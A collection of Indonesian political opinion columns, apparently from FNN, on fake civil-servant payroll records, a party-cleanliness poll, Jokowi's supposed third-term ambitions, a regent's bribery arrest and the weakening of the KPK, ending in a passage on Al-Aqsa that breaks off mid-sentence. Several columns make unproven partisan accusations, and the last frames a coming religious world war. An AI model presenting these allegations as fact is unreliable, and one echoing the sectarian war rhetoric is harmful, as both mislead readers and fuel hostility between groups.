By Asyari Usman Medan, FNN - Sangat tak masuk akal itu bisa terjadi dan sangat memalukan. Ada 97,000 data pegawai negeri sipil (PNS) yang misterius. Selama bertahun-tahun, negara mengeluarkan ratusan miliar rupiah setiap bulan untuk membayar gaji dan pensiun PNS palsu. Kasus masif ini diungkap oleh Badan Kepegawaian Negara (BKN) beberapa hari lalu. Kepala BKN Bima Haria Wibisana mengatakan salah satu penyebabnya adalah pemutakhiran data PNS yang tidak dilakukan sehingga banyak yang tidak akurat. Jumlah PNS palsu yang begitu banyak tidak boleh dianggap sebagai keteledoran atau kelalaian biasa. Harus dilakukan penyelidikan pidana. Tidak tertutup kemungkinan ada sindikat yang mengendalikan data palsu PNS itu. Kalau jumlah yang palsu hanya ratusan dari sekian juta PNS, masih bisa dianggap sebagai kelalaian. Tapi, 97,000 data palsu tidak mungkin lagi dianggap sebagai kesalahan administrasi. Sangat besar kerugian negara akibat data palsu ini. Kalau misalnya rata-rata PNS palsu itu mendapatkan gaji/pensiun Rp3,100,000 per bulan, berarti negara kecolongan 300 miliar tiap bulan atau lebih 3.5 triliun per tahun. Mencurigai ini sebagai kejahatan atau konspirasi, sangat wajar. Sebab, operasi mempertahankan aktivasi 97,000 data palsu memerlukan kerja sama banyak pihak. Patut diduga keterlibatan orang-orang di dalam BKN, pihak penerima pembayaran gaji/pensiun palsu, dan kemungkinan keterlibatan bank-bank yang merawat rekening para PNS palsu tsb agar tetap aktif. Bisa jadi pula ada sekian banyak orang yang punya otoritas untuk menarik uang gaji/pensiun itu dari bank penerima, ikut terlibat. Itu jika pembayaran melalui transfer. Kalau pembayaran tunai langsung (yang jumlahnya sangat kecil), berarti ada orang yang bersandiwara sebagai kurir. Singkatnya, sangat banyak aspek yang perlu diselidiki oleh para penegak hukum. Sekali lagi, 97,000 PNS dan pensiunan palsu tidaklah sedikit. Kepalsuan dan misterius ini sudah berlangsung lama. Tidak ada alasan untuk meyebut ini sebagai peristiwa yang tidak disengaja. Harus dibongkar. Semua yang berperan dan mengambil keuntungan, harus dihukum berat.[] (Penulis wartawan senior FNN.co.id)

PDIP Partai Terbersih? Salah Ketik, Barangkali

By Asyari Usman Medan, FNN - Tiba-tiba PDIP menjadi partai terbersih di Indonesia. Begitulah hasil survei yang dikeluarkan oleh Puspoll, beberapa hari lalu. Entah kapan lembaga ini terbentuk, tapi baru pertama kali namanya terdengar. Survei ini menanyakan tentang partai-partai politik yang dianggap bersih dari korupsi dan pro-pemberantasan korupsi. Hasil survei Puspoll menempatkan Banteng pada posisi 15.7%, Gerindra 10%, dan PKS pada tingkat 7.8%. Dahsyat sekali. Dari posisi partai terkorup, PDIP menjadi partai terbersih. Yang menjadi pertanyaan, sejak kapan PDIP bersih dari korupsi? Dan sejak kapan pula mereka pro-pemberantasan korupsi? Sebaliknya, selama ini publik mencap Banteng sebagai partai terkorup sesuai fakta OTT (operasi tangkap tangan) KPK. Dari 41 kepala daerah yang kena OTT selama 6 tahun pemerintahan Jokowi, 14 orang berasal dari PDIP. Artinya, 34% kepala daerah yang kena OTT selama 6 tahun ini adalah kader PDIP (14 dari 41). Ini baru kepala daerah (gubernur-bupati-walikota). Belum lagi di level menteri dan kementerian. Ada kasus korupsi bansos yang dilakukan oleh Juliari Batubara. Ada pula Harun Masiku (HM) yang belum juga ditemukan. Bisa dibayangkan berapa orang yang akan diseret oleh HM kalau dia ditangkap. Pasti banyak dan besar-besar. Kalau tidak, tak mungkin dia sulit sekali ditangkap setelah 500 hari berlalu. Dari angka 34% di atas, dapat pula dikatakan bahwa probabilitas (kemungkinan) kader PDIP melakukan korupsi mencapai 34:100. Ini ‘corruption rate’ yang sangat tinggi. Wajar pula untuk disimpulkan bahwa kemungkinan besar banyak kader PDIP yang melakukan korupsi tapi tidak terdeteksi. Itulah yang bisa disarikan dari probabilitas 34:100 itu. Nah, hari ini Puspoll mengangkat PDIP ke level terbersih. Dari mana alur logika yang dipakai? Bukankah publik akan curiga terhadap hasil survei seperti ini? Kita menjadi ingin bertanya: apakah para pengelola Puspoll tidak berkonsultasi dulu dengan pimpinan PDIP sebelum mengeluarkan hasil yang sangat fantastis itu? Seharusnya tanyakan dulu kepada mereka apakah memang benar temuan Puspoll. Sebab, hasil yang sangat indah itu menjadi beban bagi mereka meskipun dari satu sisi sangat menyenangkan. Lihat saja reaksi publik dalam dua-tiga hari ini. Semuanya mempertanyakan predikat “terbersih” itu. Atau, jangan-jangan definisi “terbersih” itu bermakna lain? Bukan kinerja, tetapi dari segi fisik. Misalnya, terbersih ruang kantornya, terbersih toiletnya, terbersih halaman parkirnya, terbersih mobil-mobil mewah mereka, dlsb. Jika itu yang dimaksud, bisa saja. Tapi, itu pun perlu survei dalam rentang waktu panjang sebelum menyimpulkan hasilnya “terbersih” untuk berbagai fasilitas tadi. Jadi, Puspoll harus menelaah kembali temuan survei tentang PDIP itu. Apakah tidak mungkin terjadi “salah ketik” atau “salah input”. Atau malah para operator Puspoll sendiri sempat terpukau dan mabuk ketika melihat para petinggi PDIP yang keren-keren dan banyak duit. Kita tunggu klarifikasi Puspoll tentang apa yang terjadi. Di mana letak ‘error’-nya. Apakah disebabkan responden survei hanya para penghuni kantor-kantor PDIP? Atau, mungkinkah para pengelola Puspoll tidak tahu perkembangan PDIP selama 6-7 tahu belakangan ini?[] (Penulis wartawan senior FNN.co.id)

Jokowi Sangat Ingin Tiga Periode

JOKO Widodo (Jokowi) pernah menegaskan bahwa dia tidak berniat dan tidak berminat menjadi presiden tiga periode. Sekitar dua bulan yang lalu, melalui rekaman YouTube Sekretariat Presiden menekankan bahwa dia akan mematuhi konstitusi (UUD 1945) yang mengamanatkan masa jabatan presiden maksimal dua periode. Persoalannya, bisakah pernyataan Jokowi itu dijadikan jaminan bahwa dia tidak akan melakukan upaya apa pun untuk mendapatkan periode ketiga? Kelihatannya, rakyat sudah terbiasa tidak mempercayai sepenuhnya apa yang diucapkan oleh Jokowi. Yang dia katakan itu adalah janji. Publik sudah mencatat ratusan janji Jokowi yang dia lindas sendiri. Apalagi ini janji untuk tidak meminati tiga periode. Sangat tak mungkin tidak dilanggar oleh Jokowi. Pertama, karena dia punya beban berat untuk memastikan anak-menantunya bisa berkarir lebih tinggi lagi dari jabatan walikota. Kedua, karena ada beberapa proyek pribadi yang ingin dituntaskannya. Dan ketiga, ada agenda China dan agenda taipan cukong yang harus dia laksanakan. Jokowi pastilah ingin agar Gibran Rakabuming (anak) dan Bobby Nasution (menantu) bisa naik menjadi gubernur dan seterusnya. Tanpa jabatan tiga periode, hampir pasti tamatlah riwayat Gibran sebagai walikota Solo dan Bobby sebagai walikota Medan pada 2025. Semua orang percaya bahwa Jokowi ingin memindahkan Gibran ke Jakarta menjadi gubernur DKI. Indikasinya adalah penolakan dia untuk melaksanakan pilkada Ibukota pada 2022. Ini adalah tahun masa jabatan Anies Baswedan berakhir. Kalau masa jabatan Anies dijadikan jadwal pilkada DKI, pastilah berat bagi Gibran untuk mengalahkan Anies dengan lurus-lurus saja. Dan memanglah tak mungkin pilkada DKI dibengkok-bengkokkan. Jokowi “memadamkan” peluang Anies dengan tetap mempertahankan pilkada DKI 2024 sebagaimana diamanatkan UU. Pilkada 2024 ini akan memuluskan Gibran. Tapi, hitung-hitungan ini pun tidak membuat Jokowi tenang. Sebab, masa jabatan presiden akan selesai pada 20 Oktober 2024. Sedangkan pilkada serentak 2024, termasuk DKI, akan dilaksanakan pada bulan November. Kalau Jokowi tak dapat periode ketiga, maka ambisi untuk menjadikan Gibran gubernur DKI sangat berat untuk direalisasikan. Pada bulan Juni atau Juli 2024, kekuasaan Jokowi menjadi sangat lemah karena presiden terpilih pengganti dia sudah diketahui. Praktisnya, Jokowi tidak punya ruang gerak untuk membantu Gibran begitu masuk bulan Maret 2024 –bulan pelaksanaan pilpres. Jadi, sangatlah dipahami kalau Jokowi berkepentingan untuk menyambung masa jabatannya menjadi tiga periode. Untuk kepentingan Bobby naik ke kursi gubernur Sumatera Utara (Sumut), masih bisa diusahakan Jokowi. Karena, pilgub Sumut akan dilaksanakan pada 2023. Jauh sebelum masa jabatan Jokowi selesai. Ini baru dari perspektif Gibran dan Bobby. Kita lihat kepentingan lain Jokowi untuk mendapatkan periode ketiga. Yaitu, proyek besar yang akan mencatatkan nama Jokowi di dalam sejarah. Yang terbesar adalah pemindahan ibukota ke Kalimantan Timur (Penajam Paser Utara). Proyek ini menjadi taruhan pribadi Jokowi. Tentulah dia ingin memastikan itu terlaksana meskipun tidak akan rampung setelah dia selesai tiga periode. Kalau Jokowi tidak berhasil merebut periode ketiga, sangat mungkin proyek yang “banyak musuh” ini akan dibatalkan oleh presiden pengganti Jokowi pada pilpres 2024. Proyek lain yang juga memerlukan kekuasaan Jokowi adalah kepentingan para taipan yang ada di kelompok oligarkhi. Mereka semua sangat nyaman melakukan pengurasan kekayaan alam Indonesia jika Jokowi masih berkuasa. Jokowi sudah terbukti sebagai sahabat taipan yang baik sekaligus teman para cukong yang loyal. Mereka ingin agar kesempatan emas itu bisa sampai 2029. Enak dan leluasa. Jadi, itulah sebabnya orang tidak percaya kalau dikatakan Jokowi tidak berambisi memperpanjang kekuasaannya menjadi 15 tahun. Pak Amien Rais sangat jeli melihat gelagat Jokowi dalam memperjuangkan presiden tiga periode. Bisakah ini tercapai? Tidak ada yang mustahil bagi Jokowi. Dia didukung oleh para taipan dan cukong yang siap menggiring sebagian besar parpol di DPR untuk menyetujui amandemen UUD 1945. Mereka akan menyediakan “unlimited funding” (dana tak terbatas) untuk memuluskan perubahan konstitusi itu. Klop! Jokowi sangat ingin tiga periode. Sedangkan para taipan dan cukong sangat memerlukannya.[AU]

Bupati Nganjuk Tersandung Gratifikasi Jual-beli Jabatan, Disusul Pengadaan Alkes?

By Mochamad Toha Surabaya, FNN - Bupati Nganjuk, Jawa Timur, Novi Rahman Hidayat yang selama ini dikenal dermawan dan dekat dengan rakyat diamankan tim Satuan Tugas (Satgas) Komisi Pemberantasan Korupsi (KPK) pada Senin (10/5/2021), dini hari. Ia diamankan bersama sejumlah orang lainnya terkait kasus dugaan suap jual-beli jabatan di lingkungan Pemkab Nganjuk. Novi Rahman Hidayat adalah Bupati Nganjuk periode 2018-2023. Novi juga tercatat menjabat sebagai Wakil Ketua Dewan Pimpinan Wilayah (DPW) Partai Kebangkitan Bangsa (PKB) Jatim periode 2021-2026. Sebelum menjabat Bupati Nganjuk, karier Novi Rahman cukup moncer sebagai pengusaha. Novi tercatat pernah menjadi Kepala Wilayah KSP Tunas Artha Mandiri Jatim (2003-2005); Direktur HRD KSP Tunas Artha Mandiri (2005-2007); Direktur Utama Tunas Artha Mandiri (2007-2016). Kemudian, Ketua Bidang Strategi Pengembangan Bisnis KSPPS Tunas Artha Mandiri (2016-2018); Presiden Direktur PT Putra Tunas Artha Mandiri Group (2006-2017); Direktur Utama PT Putra Tunas Artha Mandiri Group (2008-2018); Komisaris Utama PT BPR Tunas Artha Jaya Abadi (2009-2018). Tak hanya itu, Novi juga pernah menjabat sebagai Komisaris Bidang Pengembangan Bisnis PT Tunas Terafulk Line (2010-2018); Ketua Umum KSU Kembang Wijaya Kusuma (2008-2018); Komisaris Utama PT Putra Mandiri Real Estate (2008-2018); Komisaris Utama PT Putra Mandiri Plastik (2008-2018); Komisaris Utama PT Putra Mandiri Sawit (2011-2018); serta Direktur Utama PT Putra Mandiri Jaya (2006-2018). Pria kelahiran Nganjuk tersebut menjabat sebagai Bupati Nganjuk sejak 24 September 2018. Ia terpilih sebagai Bupati Nganjuk menggantikan Taufiqurrahman. Taufiqurrahman juga pernah ditangkap oleh KPK terkait kasus rasuah. Dari segi pendidikan, Novi Rahman merupakan magister (S2) lulusan Universitas Islam Kediri tahun 2006. Sebelumnya, dia lulus sebagai sarjana Fakultas Ilmu Sosial dan Politik (FISIP) Universitas Islam Blitar pada 2005. Novi Rahman diduga menerima suap terkait jual-beli jabatan di wilayahnya. Novi Rahman disebut menetapkan tarif bagi jajarannya untuk mendapatkan jabatan. Ratusan juta rupiah disita oleh KPK sebagai barang bukti. Plt Juru Bicara KPK Ali Fikri membenarkan terkait OTT tersebut. “Informasi yang kami terima, benar ada kegiatan tangkap tangan di wilayah Jawa Timur,” kata Ali Fikri. Novi Rahman sendiri memiliki harta kekayaan Rp 116 miliar. Dia memiliki tiga unit mobil. Berdasarkan laporan harta kekayaan penyelenggara negara (LHKPN) yang tercatat di KPK, total hartanya itu berjumlah Rp 116.897.534.669 (Rp 116 miliar). Harta tersebut terdiri dari tanah dan bangunan, alat transportasi dan mesin serta harta lainnya. Di garasinya, Novi Rahman tercatat memiliki tiga unit mobil. Pertama adalah Toyota Harrier 2.4L 2WD AT tahun 2005 senilai Rp 346,5 juta dengan hasil sendiri. Tidak hanya itu, ia juga memiliki mobil ikonik Suzuki SJ410 Katana. Suzuki Katana tahun 2006 yang diperoleh dari hasil sendiri itu memiliki nilai Rp 67,5 juta. Terakhir, Novi Rahman memiliki mobil besar Toyota Hiace 2.5 MT tahun 2011. Mobil itu juga diperoleh dari hasil sendiri dengan nilai Rp 350 juta. Adapun total kendaraan milik Novi Rahman diperkirakan senilai Rp 764 juta. Harta Bupati Nganjuk paling banyak adalah tanah dan bangunan. Novi Rahman memiliki 32 bidang tanah yang tersebar di sejumlah daerah seperti, Nganjuk, Kediri, Jombang, Surabaya hingga di Jakarta Selatan dengan nilai total Rp 58.692.120.000 (Rp 58 miliar). Melansir Kompas.com, Rabu (12/05/2021, 05:59 WIB), tujuh tersangka telah diumumkan Mabes Polri terkait kasus jual beli jabatan di lingkungan Pemerintah Kabupaten Nganjuk, Jawa Timur, Selasa (11/5/2021). Mereka adalah Bupati Nganjuk Novi Rahman Hidayat, Camat Pace Dupriono (DR), Camat Tanjungnaom Plt Camat Sukomoro Edie Srijato (ES), dan Camat Berbek Haryanto (HY). Kemudian Camat Loceret Bambang Subagio (BS), mantan Camat Sukomoro Tri Basuki Widodo (TBW), dan Ajudan Bupati Ngajuk M Izza Muhtadin. “Bupati Nganjuk NRH, ini telah menerima hadiah atau janji terhadap pengisian jabatan di lingkungan Pemkab Nganjuk,” kata Kepala Divisi Humas Polri Irjen Argo Yuwono dalam konferensi pers di Bareskrim Polri, dalam tayangan Kompas TV, Selasa (11/5/2021). Penetapan ini merupakan hasil dari OTT penyidik KPK dan Bareskrim Polri terhadap Novi Rahman Hidayat dua hari sebelumnya, Minggu (9/5/2021). Dalam penangkapan ini, penyidik KPK-Polri menyita uang Rp 647,9 juta dari brankas di kediaman Novi Rahman. Selain itu, penyidik juga menyita 8 handphone, buku tabungan, dan sejumlah dokumen milik para tersangka. Akibat perbuatannya, para tersangka terancam hukuman pasal berlapis dalam UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi yang diubah menjadi UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Adapun ancaman hukum pidana itu meliputi Pasal 5 Ayat (1) Huruf A atau B dengan pidana penjara paling lama 5 tahun dan denda Rp 50 juta sampai Rp 250 juta. Kemudian Pasal 11 dengan pidana dengan hukuman penjara paling 5 tahun dan denda paling sedikit Rp 50 juta dan paling banyak Rp 250 juta. Selanjutnya, Pasal 12B dengan penjara seumur hidup atau paling singkat 4 tahun dan paling lama 20 tahun, pidana denda paling sedikit Rp 200 juta dan paling banyak Rp 1 miliar. Dalam pemeriksaan, Novi Rahman diduga mematok harga jual beli jabatan di lingkungan Pemkab Nganjuk senilai Rp 2-50 juta untuk posisi kepala desa hingga kecamatan. Semakin tinggi posisi jabatan, maka patokan nilainya pun kian meningkat. Uang-uang tersebut diberikan ke Bupati Nganjuk lewat ajudan M. Izza Muhtadin. Kendati demikian, penyidik masih terus mendalami terkait patokan nilai harga jual beli jabatan itu. Termasuk akan mengkroscek penggunaan uang dari jual beli jabatan itu. Bareskrim Polri sedang mendalami dari pemeriksaan Bupati ke tersangka lain, ini sudah berapa lama berlangsung. Bareskrim Polri juga mendalami dugaan adanya aliran dana ke partai politik maupun petingginya dalam kasus ini. Dari jejak digital disebutkan, Novi Rahmah Hidayat diusung oleh PKB, Partai Hanura, dan PDIP dalam Pilkada Nganjuk 2018. Ia berpasangan dengan Marhaen Djumadi. Saat ini belum bisa dipastikan dari partai politik mana Novi Rahman berasal. Sebab, PKB maupun PDIP tak mengakuinya sebagai kader. Sekretaris Gerakan Sosial dan Kebencanaan DPP PKB Luqman Hakim mengirimkan video berisi pernyataan Novi Rahman yang mengaku sebagai kader PDIP. Sementara itu, Ketua DPP PDI-P Djarot Saiful Hidayat menampik pernyataan Novi Rahman dalam video itu. Ia mengatakan, Novi Rahman bukan kader PDI-P. “Bukan anggota dan tidak ber-KTA PDI Perjuangan,” ujar Djarot kepada Kompas.com, Senin. Menurut Djarot, yang merupakan kader PDIP adalah Wabup Nganjuk, Marhaen Djumadi. Ia menuturkan, Marhaen merupakan salah satu Wakil Ketua DPD PDIP Jatim. Surat Warga Jauh hari sebelum Novi Rahman ditangkap Satgas KPK, seorang warga Nganjuk mengirim surat yang ditujukan ke Bupati Nganjuk dengan tembusan KPK, Kejagung, Kapolri, dan Kapolda Jatim. Berikut petikannya. Kami sebagai warga masyarakat NU Nganjuk, sangat mendukung komitmen Bupati Bapak Novi Rahman Hidayat yang sangat bagus untuk memajukan Kabupaten Nganjuk. Khususnya terhadap masalah kesehatan di Kabupaten Nganjuk, berharap agar Bapak selaku Aparat Penegak Hukum mampu bertindak tegas atas penyelewengan yang terjadi, khususnya di permasalahan Kesehatan. Pertama, terbengkalainya peralatan medis nilainya miliaran rupiah (sekitar Rp 21 miliar) atas pembelian peralatan Cateterisasi Jantung dan ruangan yang sudah disiapkan di Lantai 3 (di atas gedung Poliklinik Jantung). Alat tersebut telah dibeli dengan anggaran DAK/APBN tahun 2016. Hingga kini alat tersebut belum sama sekali dimanfaatkan untuk kebutuhan masyarakat Kabupaten Nganjuk. Berapa besar kerugian yang diakibatkan oleh perencanaan dan pengadaan oleh RS serta peran Dinas Kesehatan yang tidak mampu mengendalikan dan memantau pelaksanaan pelayanan kesehatan di RSUD Nganjuk. Belum lagi pengadaan beberapa peralatan baru (2018-2019) yang tidak atau belum berfungsi seperti alat Autoclave senilai sekitar Rp 2 miliar di Instalasi Pengelolaan Limbah RS. Kedua, permasalahan lainnya di RSUD Kertosono terjadi penerimaan karyawan yang sifatnya Tenaga Harian Lepas (THL) sejumlah sekitar 70 orang pegawai yang direkrut oleh pejabat RSUD Kertosono tahun 2019-2020 tanpa sepengetahuan Bupati. Bahkan, isu yang berkembang mereka para THL tersebut dimintai sejumlah uang Rp 60-80 juta per orang untuk bisa diterima sebagai THL. Belum lagi ada sejumlah 11 Dokter Spesialis yang akan diterima, dan juga sebagian sudah dimintai sejumlah uang, serta terjadi jual-beli jabatan untuk bisa diangkat sebagai Kepala Ruangan atau pindah ke unit pelayanan yang diinginkan dengan membayar Rp 15 juta per orang. Dinas Kesehatan selaku Penanggung Jawab di Bidang Kesehatan seharusnya mampu mengendalikan Program Pembangunan mulai dari Puskesmas hingga RS. Namun pada kenyataannya justru membimbing ke jalan yang tidak benar. Ditandai dengan sejumlah informasi tentang pemotongan nilai Kapitasi sekitar 5% dari masing-masing Puskesmas melalui dalih adanya Forum Komunikasi Kepala Puskesmas. Di Nganjuk, pengadaan alat kesehatan yang puluhan juta sulit walaupun diperlukan. Tapi kalau harga Ratusan Juta atau Miliaran, malah lebih cepat. Ada apa? Pembangunan Rehab tidak menggunakan prosedur yang benar (lelang) tapi penunjukan langsung. Demikian curahan dan laporan kami sebagai warga masyarakat yang minta keadilan dan pembenahan di agar Nganjuk benar-benar bisa lebih maju dan bermartabat, Terima kasih atas perhatiannya. Penulis wartawan senior FNN.co.id

Koruptokrasi dan Sakratulmaut KPK

By Abdurrahman Syebubakar Jakarta, FNN - Banyak orang terkejut, sekaligus marah, dengan pembantaian KPK oleh Rezim Jokowi. Paling mutakhir adalah Tes Wawasan Kebangsaan (TWK) sebagai “syarat” peralihan pegawai KPK menjadi Aparatur Sipil Negara (ASN). Peralihan status kepegawaian tersebut merupakan konsekuensi logis dari revisi UU KPK yang menegaskan lembaga anti-rasuah ini sebagai bagian dari rumpun kekuasaan eksekutif sesuai putusan MK No.36/PUU-XV/2017. Revisi UU KPK sendiri menjadi bagian penting dari rangkaian upaya sistematis Rezim Jokowi mengebiri KPK. Dengan revisi UU KPK, lembaga yang memiliki kewenangan luar biasa untuk memberantas korupsi sebagai kejahatan luar biasa, tidak lagi melekat pada KPK. Tetapi tunduk pada aturan dan kewenangan pemerintah yang nota-bene merupakan salah satu sumber utama korupsi. Sungguh ironis, KPK diminta bunuh diri. Sederet pertanyaan dalam TWK bukan saja tidak relevan dengan tugas dan fungsi KPK, tetapi juga bernuansa sentimen sektarian, merendahkan martabat perempuan, dan bertentangan dengan etika serta nilai-nilai Pancasila. Tak berlebihan jika Wartawan Senior Ashari Usman, seorang penulis prolifik, menyebutnya Tes Wawasan “Kebangsatan.” Sebut saja pertanyaan soal doa qunut dalam sholat subuh, kesediaan lepas jilbab, pendapat tentang kasus HRS, pandangan terkait seks bebas, kenapa belum menikah, punya hasrat seks atau tidak, setuju tidak homoseksual diberikan hukuman badan, rela tidak jadi istri kedua, setuju tidak semua China sama saja dan semua orang Jepang itu kejam, dan berbagai pertanyaan absurd lainnya. Apa hubungan doa qunut atau jilbab dengan wawasan kebangsaan dan semangat nasionalisme? Apa relevansi hasrat seks dengan ASN? Apa pula kaitannya dengan pemberantasan korupsi? Sejatinya, TWK hanya kedok untuk menyingkirkan kelompok di KPK yang selama ini dikenal berintegritas dan menjadi algojo para koruptor kelas kakap. Mereka tidak terbeli uang dan jabatan. Pun tidak tunduk pada tekanan penguasa dan pengusaha. Perlu dicatat, integritas para algojo koruptor akan terjaga jika habitat institusional mereka, yaitu KPK, tetap independen. Tidak menjadi bagian pemerintah, atau minimal, pegawai KPK tidak dikonversi menjadi ASN. Sebab, status ASN, dapat menghalangi mereka untuk bertindak obyektif dan tegas terhadap para penyelenggara negara yang terjerat kasus korupsi. Saya sendiri sangat marah, namun tidak terkejut sama sekali, dengan amputasi KPK. Sebaliknya, saya kaget seandainya KPK diperkuat oleh rezim Jokowi, dengan meluasnya represifitas dan korupsi sekaligus. Alasannya sederhana, tidak butuh literasi politik canggih untuk memahami kondisi paradoksal ini. Lahir dari rahim politik transaksional, di bawah kendali para pemodal, dan selanjutnya sesak dengan para pialang dan petualang politik, hampir tidak mungkin rezim Jokowi memiliki keberanian memberantas korupsi. Sebaliknya, rezim menjelma jadi koruptokrasi, di mana kekuasaan berada di tangan para penyelenggara negara korup dalam naungan sistem/kelembagaan politik ekstraktif. Sistem ini, menurut Daron Acemoglu dan James A Robinson, menghisap sumberdaya negara untuk kepentingan kekuasaan dan ekonomi segelintir elit di atas penderitaan rakyat banyak (Why Nations Fail 2012). Rezim koruptokrasi berlindung di balik otoritas institusional untuk menutupi tindak kejahatan korupsi di dalam tubuhnya, dan menghancurkan setiap yang berusaha membongkarnya (Yasraf A. Piliang, Kompas, 2012). Dus, alih-alih memperkuat, rezim koruptokrasi Jokowi justru melumpuhkan KPK secara sistematis sejak awal berkuasa, melalui skenario kriminalisasi Ketua Abraham Samad dan Wakil Ketua Bambang Widjojanto pada tahun 2015. Kasus penyiraman air keras terhadap penyidik senior KPK, Novel Baswedan, pada April 2017, hingga kini menjadi misteri. Rezim koruptokrasi Jokowi enggan mengusut tuntas dan membuka otak di balik penyerangan sadis ini. Hanya pelaku lapangan, diduga pemeran pengganti, yang dihukum ringan. Keseriusan dalam pemberantasan korupsi semakin muskil dengan banyaknya kalangan internal rezim koruptokrasi Jokowi tersangkut kasus korupsi. Terlebih, kelompok parpol pendukung, terutama PDIP, menjadi sarang koruptor. Dan upaya melumpuhkan KPK terus berlanjut dalam bentuk yang lebih sistemik dan sistematis dengan lahirnya Undang-undang KPK nomor 19 tahun 2019 hasil revisi. Selain peletakan KPK dalam rumpun kekuasaan eksekutif (termasuk konversi pegawainya menjadi ASN), UU hasil revisi memandatkan dibentuknya Dewan Pengawas yang memangkas kewenangan pokok KPK terkait penyadapan, penyidikan, penuntutan, dan sejumlah prosedur yang merumitkan proses penindakan. Akibatnya, KPK terbelenggu dan tidak dapat bekerja dengan baik. Tak ayal, korupsi makin luas dan buas, di masa rezim koruptokrasi Jokowi jilid I dan II. Terjadi lonjakan kasus korupsi selama beberapa tahun terakhir. Dari rekap data tindak pidana korupsi KPK (2020), antara 2015 dan 2019, tercatat hampir 600 kasus, lebih dari dua kali lipat jumlah kasus korupsi selama lima tahun sebelumnya. Sebelum pandemi Covid, menjelang Pilpres 2019, terungkap kasus mega skandal Jiwasraya dan Asabri, yang melibatkan elit politik di lingkaran kekuasaan, dengan kerugian negara tidak kurang dari Rp. 38 triliun. Skandal korupsi terbesar dalam sejarah Indonesia merdeka. Di saat rakyat makin menderita akibat salah urus negara dan dampak negatif Covid-19, para koruptor berpesta pora menjarah uang negara. Sebut saja korupsi Bansos oleh eks Mensos Juliari Batubara, Wakil Bendahara Umum PDIP, yang memotong sekitar 40% dari Rp. 6,8 triliun total anggaran Bansos Sembako Jabodetabek. Belum menyebut potensi korupsi program-program bansos nasional dengan anggaran ratusan triliun. Sekitar dua minggu sebelumnya, pada akhir November 2020, eks Menteri Kelautan dan Perikanan Edhy Prabowo dari Gerindra terjaring Operasi Tangkap Tangan (OTT) KPK atas gratifikasi izin ekspor benih lobster, dibantu kader partai banteng. Masih panjang daftar skandal korupsi era rezim koruptokrasi Jokowi yang banyak melibatkan elit politik, baik di pusat maupun daerah. Pada saat yang sama, dalam Laporan Indeks Persepsi Korupsi (IPK) global 2020, skor IPK Indonesia anjlok dari 40 menjadi 37, membuat posisinya merosot 17 peringkat, dari 85 menjadi 102 di antara 180 negara. Posisi Indonesia berada di bawah Timor Leste dan Etiopia. IPK merupakan indeks agregat untuk mengukur tingkat persepsi korupsi sektor publik, berdasarkan penilaian para pakar dan survei eksekutif bisnis, dengan rentang skor antara 0 dan 100. Skor 0 berarti sangat korup, sementara 100 berarti sangat bersih dari korupsi (Transparency International, 2020). Anjloknya IPK Indonesia di era rezim koruptokrasi Jokowi menunjukkan penyuapan, dan pencurian dana publik oleh pejabat negara dan politikus makin luas. Juga menggambarkan absennya kemauan politik negara dalam pemberantasan korupsi. Memang, tak dapat dipungkiri, keberadaan KPK tidak berbanding lurus dengan berkurangnya kasus korupsi di Indonesia. Sejak lembaga anti-rasuah ini berdiri pada 2002, insiden korupsi bukan saja tidak turun, justru meningkat dengan volume kerugian negara yang makin besar. Sebagai anak kandung reformasi, peran simbolik KPK untuk merawat semangat demokratisasi, tata kelola pemerintahan yang baik, serta penegakan hukum dan hadirnya (rasa) keadilan di tengah-tengah masyarakat, tidak relevan lagi. Yang tersisa, hanya mayat lembaga pemberantasan korupsi. Kalaupun 75 pegawai (yang diskenariokan tersingkir oleh pimpinan KPK melalui TWK) bergabung menjadi ASN, tidak akan menyelamatkan nyawa lembaga anti-rasuah ini. Paling jauh, para pegawai yang dikenal berintegritas ini bisa membantu “pernapasan buatan” untuk KPK, tetapi tidak akan bertahan lama. Selanjutnya, mereka ikut mengusung keranda mayat KPK menuju tempat peristirahatan terakhir. Di akhir tulisan ini, perlu digarisbawahi, untuk memberantas korupsi yang sangat sistemik dan luas, penegakan hukum melalui KPK yang kuat dan independen sekalipun, tidak cukup. Selama ini, KPK lebih banyak menjalankan peran pemadam kebakaran, sementara fungsi pencegahan tidak maksimal. Sehingga, dibutuhkan kemauan politik negara untuk mengurai akar kejahatan luar biasa ini, di tingkat hulu, yaitu politik kekuasaan yang sangat kumuh. Kemudian, melakukan pembenahan secara radikal dan menyeluruh. Hal tersebut dapat terwujud, jika rakyat, terutama kaum intelektual dan kelas menengah, memiliki kesadaran dan keberanian politik untuk memotong titik episentrum rezim koruptokrasi. Penulis, Ketua Dewan Pengurus IDe

Dimulai dari Palestina Dunia Diambang Perang Agama

Kebiadaban tentara zionis hampir sama dengan yang dilakukan oleh kelompok-kelompok pembenci agama Islam di berbagai negara dunia lainnya, seperti di RR China, Myanmar, India, Filipina (dengan memerangi umat Islam di Moro). Muslim Uighur, di Xinxiang, Republik Rakyat China, ditangkap dan dibunuh oleh pasukan negara komunis tersebut. Jadi, jika terjadi Perang Dunia Ketiga, itu bukan perang salib, tetapi perang antara umat Islam melawan non-muslim dan komunis. Insya Allah dan atas rido-Nya, kami (ummat Islam) menang! Oleh Mangarahon Dongoran Jakarta, FNN - PENGHUJUNG Ramadhan 1422 Hijriyah yang lalu ditandai dengan aksi brutal tentara zionis Israel terhadap penduduk Palestina. Pasukan keamanan negara Yahudi itu mengusir penduduk Palestina yang sedang melaksanakan shalat di Masjid Al-Aqsa dengan menembakkan gas air mata. Jemaah yang sedang melaksanakan shalat, kocar-kacir, termasuk kaum hawa dan anak-anak. Sebagaimana bisa disaksikan pada video pemberitaan media internasional, dan media sosial yang beredar di masyarakat dunia, aksi brutal itu sungguh sangat biadab. Mereka masuk ke masjid dengan pakaian dan senjata lengkap, serta memakai sepatu laras. Padahal, masjid adalah tempat suci bagi ummat Islam. Ketika masuk masjid, alas kaki hanya boleh dipakai sampai batas suci. Brutal dan biadab. Pasukan keamanan negara penjajah itu terlihat menyeret jemaah, dan ada yang melemparkan gas air mata ke arah kerumunan jemaah. Jumlah korban luka pun bergelimpangan. Sedikitnya 700 orang jemaah menjadi korban luka berat dan luka ringan. Darah berceceran di lantai masjid. Wajah seorang wanita yang ditolong jemaah terlihat berlumuran darah. Pekikan takbir yang terdengar dari jamaah dibalas tentara Yahudi dengan aksi tembakan gas air mata, sambil mengejar dan menangkap beberapa jemaah. Aksi biadab pasukan Yahudi itu pun kemudian dibalas oleh pasukan 